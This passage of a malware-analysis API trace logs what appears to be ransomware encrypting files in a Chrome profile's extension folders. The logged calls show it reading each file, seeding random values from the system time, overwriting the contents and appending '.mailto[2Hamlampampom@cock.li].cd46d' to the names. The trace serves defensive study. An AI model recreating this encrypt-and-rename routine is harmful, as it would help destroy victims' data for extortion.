CurrentTime=0x454fa64*=132174899540638000) returned 0x0 [0179.475] RtlRandomEx (in: Seed=0x454fa70 | out: Seed=0x454fa70) returned 0x8d673 [0179.475] RtlRandomEx (in: Seed=0x454fa70 | out: Seed=0x454fa70) returned 0x44dacdcc [0179.476] RtlRandomEx (in: Seed=0x454fa70 | out: Seed=0x454fa70) returned 0x2ea88c65 [0179.476] RtlRandomEx (in: Seed=0x454fa70 | out: Seed=0x454fa70) returned 0x61808ad7 [0179.476] RtlRandomEx (in: Seed=0x454fa70 | out: Seed=0x454fa70) returned 0x2c6e4469 [0179.476] RtlRandomEx (in: Seed=0x454fa70 | out: Seed=0x454fa70) returned 0x60398d78 [0179.476] RtlRandomEx (in: Seed=0x454fa70 | out: Seed=0x454fa70) returned 0x31c69ebd [0179.476] RtlRandomEx (in: Seed=0x454fa70 | out: Seed=0x454fa70) returned 0x752504f5 [0179.476] RtlRandomEx (in: Seed=0x454fa70 | out: Seed=0x454fa70) returned 0x2a4ec534 [0179.476] RtlRandomEx (in: Seed=0x454fa70 | out: Seed=0x454fa70) returned 0x60e0d12b [0179.476] RtlRandomEx (in: Seed=0x454fa70 | out: Seed=0x454fa70) returned 0x4ce60019 [0179.476] RtlRandomEx (in: Seed=0x454fa70 | out: Seed=0x454fa70) returned 0x1c3bb8f4 [0179.476] RtlRandomEx (in: Seed=0x454fa70 | out: Seed=0x454fa70) returned 0x2d2bc042 [0179.476] RtlRandomEx (in: Seed=0x454fa70 | out: Seed=0x454fa70) returned 0x1431dbfe [0179.476] RtlRandomEx (in: Seed=0x454fa70 | out: Seed=0x454fa70) returned 0x4103b8f2 [0179.476] RtlRandomEx (in: Seed=0x454fa70 | out: Seed=0x454fa70) returned 0x6bfc7246 [0179.476] RtlRandomEx (in: Seed=0x454fa70 | out: Seed=0x454fa70) returned 0x67862712 [0179.476] RtlRandomEx (in: Seed=0x454fa70 | out: Seed=0x454fa70) returned 0x61fcae99 [0179.476] RtlRandomEx (in: Seed=0x454fa70 | out: Seed=0x454fa70) returned 0x115ae1ae [0179.476] RtlRandomEx (in: Seed=0x454fa70 | out: Seed=0x454fa70) returned 0x53e6d49f [0179.476] RtlRandomEx (in: Seed=0x454fa70 | out: Seed=0x454fa70) returned 0x2374ced0 [0179.477] RtlRandomEx (in: Seed=0x454fa70 | out: Seed=0x454fa70) returned 0x36b95115 [0179.477] RtlRandomEx (in: Seed=0x454fa70 | out: Seed=0x454fa70) returned 0x5c977ca [0179.477] RtlRandomEx (in: Seed=0x454fa70 | out: Seed=0x454fa70) returned 0x33c539bf [0179.477] RtlRandomEx (in: Seed=0x454fa70 | out: Seed=0x454fa70) returned 0x7967bc32 [0179.477] RtlRandomEx (in: Seed=0x454fa70 | out: Seed=0x454fa70) returned 0x6fba17cf [0179.477] RtlRandomEx (in: Seed=0x454fa70 | out: Seed=0x454fa70) returned 0x23240d65 [0179.477] RtlRandomEx (in: Seed=0x454fa70 | out: Seed=0x454fa70) returned 0x7d6caaba [0179.477] RtlRandomEx (in: Seed=0x454fa70 | out: Seed=0x454fa70) returned 0x64ab57c1 [0179.477] RtlRandomEx (in: Seed=0x454fa70 | out: Seed=0x454fa70) returned 0x409df573 [0179.477] RtlRandomEx (in: Seed=0x454fa70 | out: Seed=0x454fa70) returned 0x26f84c42 [0179.477] RtlRandomEx (in: Seed=0x454fa70 | out: Seed=0x454fa70) returned 0x39ccbecb [0179.488] ReadFile (hFile=0x2d0, lpBuffer=0x13367880, nNumberOfBytesToRead=0xfb, lpNumberOfBytesRead=0x454fa60, lpOverlapped=0x0) [0179.488] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.489] WriteFile (in: hFile=0x2d0, lpBuffer=0x13374088*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x454fa5c, lpOverlapped=0x0 | out: lpBuffer=0x13374088*, lpNumberOfBytesWritten=0x454fa5c*=0xfb, lpOverlapped=0x0) returned 1 [0180.792] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909528 [0180.792] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909a00 [0180.792] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909a00) returned 1 [0180.792] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13374088) returned 1 [0180.792] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13367880) returned 1 [0180.792] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8878) returned 1 [0180.792] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2620) returned 1 [0180.792] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0xd4d8110 [0180.792] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.792] WriteFile (in: hFile=0x2d0, lpBuffer=0x12cf6558*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x454fac4, lpOverlapped=0x0 | out: lpBuffer=0x12cf6558*, lpNumberOfBytesWritten=0x454fac4*=0x10b, lpOverlapped=0x0) returned 1 [0182.136] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf6558) returned 1 [0182.136] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8140) returned 1 [0182.136] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909a00) returned 1 [0182.136] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d8110) returned 1 [0182.136] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909528) returned 1 [0182.136] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909348) returned 1 [0182.136] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909668) returned 1 [0182.136] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909690) returned 1 [0182.136] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x17a) returned 0x929730 [0182.136] wcscpy (in: _Dest=0x929730, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json" [0182.136] wcscat (in: _Dest=0x929730, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0182.137] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x454fa7c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0182.137] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x190) returned 0x91c4d8 Thread: id = 7104 os_tid = 0x1504 [0177.640] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json")) returned 0x2020 [0177.640] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json", dwFileAttributes=0x20) returned 1 [0184.125] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x11fc [0184.125] GetFileSizeEx (in: hFile=0x11fc, lpFileSize=0x78cfb60 | out: lpFileSize=0x78cfb60*=243) returned 1 [0184.125] SetFilePointerEx (in: hFile=0x11fc, liDistanceToMove=0xef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.125] ReadFile (in: hFile=0x11fc, lpBuffer=0x78cfae4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x78cfae0, lpOverlapped=0x0 | out: lpBuffer=0x78cfae4*, lpNumberOfBytesRead=0x78cfae0*=0x4, lpOverlapped=0x0) returned 1 [0184.126] SetFilePointerEx (in: hFile=0x11fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.126] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c58f0 [0184.126] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5e18 [0184.126] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5c10 [0184.126] NtQuerySystemTime (in: CurrentTime=0x78cfac0 | out: CurrentTime=0x78cfac0*=132174899587282000) returned 0x0 [0184.126] RtlRandomEx (in: Seed=0x78cfacc | out: Seed=0x78cfacc) returned 0x4c1c3a45 [0184.126] RtlRandomEx (in: Seed=0x78cfacc | out: Seed=0x78cfacc) returned 0x3c3561ab [0184.126] RtlRandomEx (in: Seed=0x78cfacc | out: Seed=0x78cfacc) returned 0x59b691e9 [0184.126] RtlRandomEx (in: Seed=0x78cfacc | out: Seed=0x78cfacc) returned 0x5595f137 [0184.126] RtlRandomEx (in: Seed=0x78cfacc | out: Seed=0x78cfacc) returned 0x5398b368 [0184.127] RtlRandomEx (in: Seed=0x78cfacc | out: Seed=0x78cfacc) returned 0x2b6727c [0184.127] RtlRandomEx (in: Seed=0x78cfacc | out: Seed=0x78cfacc) returned 0xc86ff20 [0184.127] RtlRandomEx (in: Seed=0x78cfacc | out: Seed=0x78cfacc) returned 0x1a9b6838 [0184.127] RtlRandomEx (in: Seed=0x78cfacc | out: Seed=0x78cfacc) returned 0x4d9e9b68 [0184.127] RtlRandomEx (in: Seed=0x78cfacc | out: Seed=0x78cfacc) returned 0x6b95dbae [0184.127] RtlRandomEx (in: Seed=0x78cfacc | out: Seed=0x78cfacc) returned 0x2c6c0a3d [0184.127] RtlRandomEx (in: Seed=0x78cfacc | out: Seed=0x78cfacc) returned 0x25281f92 [0184.127] RtlRandomEx (in: Seed=0x78cfacc | out: Seed=0x78cfacc) returned 0x5ba1778f [0184.127] RtlRandomEx (in: Seed=0x78cfacc | out: Seed=0x78cfacc) returned 0x4d78c73b [0184.127] RtlRandomEx (in: Seed=0x78cfacc | out: Seed=0x78cfacc) returned 0x1498f2c5 [0184.127] RtlRandomEx (in: Seed=0x78cfacc | out: Seed=0x78cfacc) returned 0x491c2480 [0184.127] RtlRandomEx (in: Seed=0x78cfacc | out: Seed=0x78cfacc) returned 0x79e36b5 [0184.127] RtlRandomEx (in: Seed=0x78cfacc | out: Seed=0x78cfacc) returned 0x6dd492f9 [0184.127] RtlRandomEx (in: Seed=0x78cfacc | out: Seed=0x78cfacc) returned 0x601c0d65 [0184.127] RtlRandomEx (in: Seed=0x78cfacc | out: Seed=0x78cfacc) returned 0x3fa3fc25 [0184.127] RtlRandomEx (in: Seed=0x78cfacc | out: Seed=0x78cfacc) returned 0x62786f1d [0184.127] RtlRandomEx (in: Seed=0x78cfacc | out: Seed=0x78cfacc) returned 0x2b5b284e [0184.127] RtlRandomEx (in: Seed=0x78cfacc | out: Seed=0x78cfacc) returned 0x236026e6 [0184.127] RtlRandomEx (in: Seed=0x78cfacc | out: Seed=0x78cfacc) returned 0x391c8a25 [0184.127] RtlRandomEx (in: Seed=0x78cfacc | out: Seed=0x78cfacc) returned 0x73b16b48 [0184.127] RtlRandomEx (in: Seed=0x78cfacc | out: Seed=0x78cfacc) returned 0x47c8c051 [0184.127] RtlRandomEx (in: Seed=0x78cfacc | out: Seed=0x78cfacc) returned 0x4d43146f [0184.127] RtlRandomEx (in: Seed=0x78cfacc | out: Seed=0x78cfacc) returned 0x7c508844 [0184.127] RtlRandomEx (in: Seed=0x78cfacc | out: Seed=0x78cfacc) returned 0x627f33bd [0184.127] RtlRandomEx (in: Seed=0x78cfacc | out: Seed=0x78cfacc) returned 0x40207bd8 [0184.127] RtlRandomEx (in: Seed=0x78cfacc | out: Seed=0x78cfacc) returned 0x5fbba1bb [0184.127] RtlRandomEx (in: Seed=0x78cfacc | out: Seed=0x78cfacc) returned 0x53253f4a [0184.139] ReadFile (hFile=0x11fc, lpBuffer=0x1347e930, nNumberOfBytesToRead=0xf3, lpNumberOfBytesRead=0x78cfabc, lpOverlapped=0x0) [0184.139] SetFilePointerEx (in: hFile=0x11fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.139] WriteFile (in: hFile=0x11fc, lpBuffer=0x1348b138*, nNumberOfBytesToWrite=0xf3, lpNumberOfBytesWritten=0x78cfab8, lpOverlapped=0x0 | out: lpBuffer=0x1348b138*, lpNumberOfBytesWritten=0x78cfab8*=0xf3, lpOverlapped=0x0) returned 1 [0185.196] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909640 [0185.196] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909280 [0185.196] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909280) returned 1 [0185.196] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1348b138) returned 1 [0185.339] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1347e930) returned 1 [0185.343] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf94a0) returned 1 [0185.343] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2d70) returned 1 [0185.343] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8d88c8 [0185.343] SetFilePointerEx (in: hFile=0x11fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.343] WriteFile (in: hFile=0x11fc, lpBuffer=0x12cf52c0*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x78cfb20, lpOverlapped=0x0 | out: lpBuffer=0x12cf52c0*, lpNumberOfBytesWritten=0x78cfb20*=0x10b, lpOverlapped=0x0) returned 1 [0185.362] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf52c0) returned 1 [0185.362] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8838) returned 1 [0185.362] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5df0) returned 1 [0185.362] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d88c8) returned 1 [0185.363] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909640) returned 1 [0185.363] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5e18) returned 1 [0185.363] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5c38) returned 1 [0185.363] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5c60) returned 1 [0185.363] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x17a) returned 0x929730 [0185.363] wcscpy (in: _Dest=0x929730, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json" [0185.363] wcscat (in: _Dest=0x929730, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0185.363] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x78cfad8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0185.363] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x190) returned 0x9352f0 Thread: id = 7138 os_tid = 0x1050 [0177.948] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html")) returned 0x2020 [0177.949] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html", dwFileAttributes=0x20) returned 1 [0179.575] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd8c [0179.575] GetFileSizeEx (in: hFile=0xd8c, lpFileSize=0x272fdec | out: lpFileSize=0x272fdec*=5964) returned 1 [0179.575] SetFilePointerEx (in: hFile=0xd8c, liDistanceToMove=0x1748, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.575] ReadFile (in: hFile=0xd8c, lpBuffer=0x272fd70, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x272fd6c, lpOverlapped=0x0 | out: lpBuffer=0x272fd70*, lpNumberOfBytesRead=0x272fd6c*=0x4, lpOverlapped=0x0) returned 1 [0179.576] SetFilePointerEx (in: hFile=0xd8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.576] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9095c8 [0179.576] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909898 [0179.576] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909910 [0179.576] NtQuerySystemTime (in: CurrentTime=0x272fd4c | out: CurrentTime=0x272fd4c*=132174899541730000) returned 0x0 [0179.576] RtlRandomEx (in: Seed=0x272fd58 | out: Seed=0x272fd58) returned 0x54b584dc [0179.576] RtlRandomEx (in: Seed=0x272fd58 | out: Seed=0x272fd58) returned 0x2d0db4c9 [0179.577] RtlRandomEx (in: Seed=0x272fd58 | out: Seed=0x272fd58) returned 0xc098ac9 [0179.577] RtlRandomEx (in: Seed=0x272fd58 | out: Seed=0x272fd58) returned 0x111a53d9 [0179.577] RtlRandomEx (in: Seed=0x272fd58 | out: Seed=0x272fd58) returned 0x4478eda6 [0179.577] RtlRandomEx (in: Seed=0x272fd58 | out: Seed=0x272fd58) returned 0x5494b3f5 [0179.577] RtlRandomEx (in: Seed=0x272fd58 | out: Seed=0x272fd58) returned 0x55edfdf9 [0179.577] RtlRandomEx (in: Seed=0x272fd58 | out: Seed=0x272fd58) returned 0x710ce219 [0179.577] RtlRandomEx (in: Seed=0x272fd58 | out: Seed=0x272fd58) returned 0x50d0052b [0179.577] RtlRandomEx (in: Seed=0x272fd58 | out: Seed=0x272fd58) returned 0x3fdb4849 [0179.577] RtlRandomEx (in: Seed=0x272fd58 | out: Seed=0x272fd58) returned 0x5363e3d3 [0179.577] RtlRandomEx (in: Seed=0x272fd58 | out: Seed=0x272fd58) returned 0x7705a45f [0179.577] RtlRandomEx (in: Seed=0x272fd58 | out: Seed=0x272fd58) returned 0x17d5938f [0179.577] RtlRandomEx (in: Seed=0x272fd58 | out: Seed=0x272fd58) returned 0x318fbc10 [0179.577] RtlRandomEx (in: Seed=0x272fd58 | out: Seed=0x272fd58) returned 0x17a14733 [0179.577] RtlRandomEx (in: Seed=0x272fd58 | out: Seed=0x272fd58) returned 0x627fd8e0 [0179.577] RtlRandomEx (in: Seed=0x272fd58 | out: Seed=0x272fd58) returned 0x294ea99 [0179.577] RtlRandomEx (in: Seed=0x272fd58 | out: Seed=0x272fd58) returned 0x773614d4 [0179.577] RtlRandomEx (in: Seed=0x272fd58 | out: Seed=0x272fd58) returned 0x3c4e5ce8 [0179.577] RtlRandomEx (in: Seed=0x272fd58 | out: Seed=0x272fd58) returned 0x1302bff6 [0179.577] RtlRandomEx (in: Seed=0x272fd58 | out: Seed=0x272fd58) returned 0x6ac9a0bf [0179.577] RtlRandomEx (in: Seed=0x272fd58 | out: Seed=0x272fd58) returned 0x4fa65d63 [0179.577] RtlRandomEx (in: Seed=0x272fd58 | out: Seed=0x272fd58) returned 0x45b72e9e [0179.577] RtlRandomEx (in: Seed=0x272fd58 | out: Seed=0x272fd58) returned 0x5e28aa96 [0179.577] RtlRandomEx (in: Seed=0x272fd58 | out: Seed=0x272fd58) returned 0x166f0ce9 [0179.577] RtlRandomEx (in: Seed=0x272fd58 | out: Seed=0x272fd58) returned 0x4ae1ac33 [0179.577] RtlRandomEx (in: Seed=0x272fd58 | out: Seed=0x272fd58) returned 0x657db815 [0179.577] RtlRandomEx (in: Seed=0x272fd58 | out: Seed=0x272fd58) returned 0x1d19be2c [0179.577] RtlRandomEx (in: Seed=0x272fd58 | out: Seed=0x272fd58) returned 0x6efa0ba5 [0179.577] RtlRandomEx (in: Seed=0x272fd58 | out: Seed=0x272fd58) returned 0xd8b587e [0179.577] RtlRandomEx (in: Seed=0x272fd58 | out: Seed=0x272fd58) returned 0x1ae4c0e0 [0179.577] RtlRandomEx (in: Seed=0x272fd58 | out: Seed=0x272fd58) returned 0x289d8762 [0179.591] ReadFile (hFile=0xd8c, lpBuffer=0x12d26820, nNumberOfBytesToRead=0x174c, lpNumberOfBytesRead=0x272fd48, lpOverlapped=0x0) [0179.592] SetFilePointerEx (in: hFile=0xd8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.592] WriteFile (in: hFile=0xd8c, lpBuffer=0x12d33028*, nNumberOfBytesToWrite=0x174c, lpNumberOfBytesWritten=0x272fd44, lpOverlapped=0x0 | out: lpBuffer=0x12d33028*, lpNumberOfBytesWritten=0x272fd44*=0x174c, lpOverlapped=0x0) returned 1 [0179.593] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9095c8 [0179.593] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909910 [0179.593] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909910) returned 1 [0179.593] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d33028) returned 1 [0179.593] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d26820) returned 1 [0179.593] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8f80) returned 1 [0179.593] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2818) returned 1 [0179.593] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x1f) returned 0x909910 [0179.594] SetFilePointerEx (in: hFile=0xd8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.594] WriteFile (in: hFile=0xd8c, lpBuffer=0x9294c0*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0x272fdac, lpOverlapped=0x0 | out: lpBuffer=0x9294c0*, lpNumberOfBytesWritten=0x272fdac*=0x103, lpOverlapped=0x0) returned 1 [0179.595] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9294c0) returned 1 [0179.595] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909988) returned 1 [0179.595] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9099b0) returned 1 [0179.595] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909910) returned 1 [0179.595] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9095c8) returned 1 [0179.595] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909898) returned 1 [0179.596] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909938) returned 1 [0179.596] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909960) returned 1 [0179.596] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x192) returned 0x8f3eb8 [0179.596] wcscpy (in: _Dest=0x8f3eb8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 